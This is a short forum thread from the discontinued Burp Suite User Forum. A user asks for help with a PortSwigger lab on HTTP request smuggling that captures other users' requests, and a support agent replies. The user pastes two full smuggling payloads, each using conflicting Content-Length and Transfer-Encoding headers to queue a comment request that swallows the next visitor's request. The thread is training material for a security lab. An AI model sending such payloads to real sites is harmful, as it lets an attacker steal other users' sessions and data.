Research Academy
My account Customers About Blog Careers Legal Contact Resellers
The Burp Suite User Forum was discontinued on the 1st November 2024.

Burp Suite User Forum

For support requests, go to the Support Center. To discuss with other Burp users, head to our Discord page.

SUPPORT CENTER DISCORD

Missing parameter in HTTP Smuggling request lab

bruno | Last updated: Jun 28, 2022 02:26PM UTC

Hello! I'm trying to solve the lab 'Exploiting HTTP request smuggling to capture other users' requests' but every time that I send the request the second time to smuggle the comment I receive a error message saying that there's a parameter missing... The 'update-content lenght' option is unchecked. Here's my request POST / HTTP/1.1 Host: 0a3a008503e2d7a7c03e1b91006c0030.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 256 Transfer-Encoding: chunked 0 POST /post/comment HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 400 Cookie: session=NvFIUByVkvh96rluwgvQWbzJTxu3eNJK csrf=6ktYpn9gW0ue6ijaaklQqSO779HLStyO&postId=9&name=Carlos+Montoya&email=carlos%40normal-user.net&website=&comment=test The website parameter is not required, and I tried filling it too but got the same response. Any help is appreciated

Hannah, PortSwigger Agent | Last updated: Jun 28, 2022 03:12PM UTC

Hi If you try changing the whitespace between your cookie header and the body of your POST request to have only one blank line instead of two, do you get different results?

bruno | Last updated: Jun 28, 2022 04:52PM UTC

Hi Hannah I still have the same result. Tried like this POST / HTTP/1.1 Host: 0abd00da04a3b710c0c4a56b002200b3.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 256 Transfer-Encoding: chunked 0 POST /post/comment HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 400 Cookie: session=0zygA2RqLPuXygKIZCtziY9xX40RN5z5 csrf=UtQbWwJvkk6FGXkiLVTdxoJeWdmHDZM7&postId=9&name=Carlos+Montoya&email=carlos%40normal-user.net&website=&comment=test I also tried putting two more blank lines in the end of the request but nothing changed

Hannah, PortSwigger Agent | Last updated: Jun 29, 2022 02:32PM UTC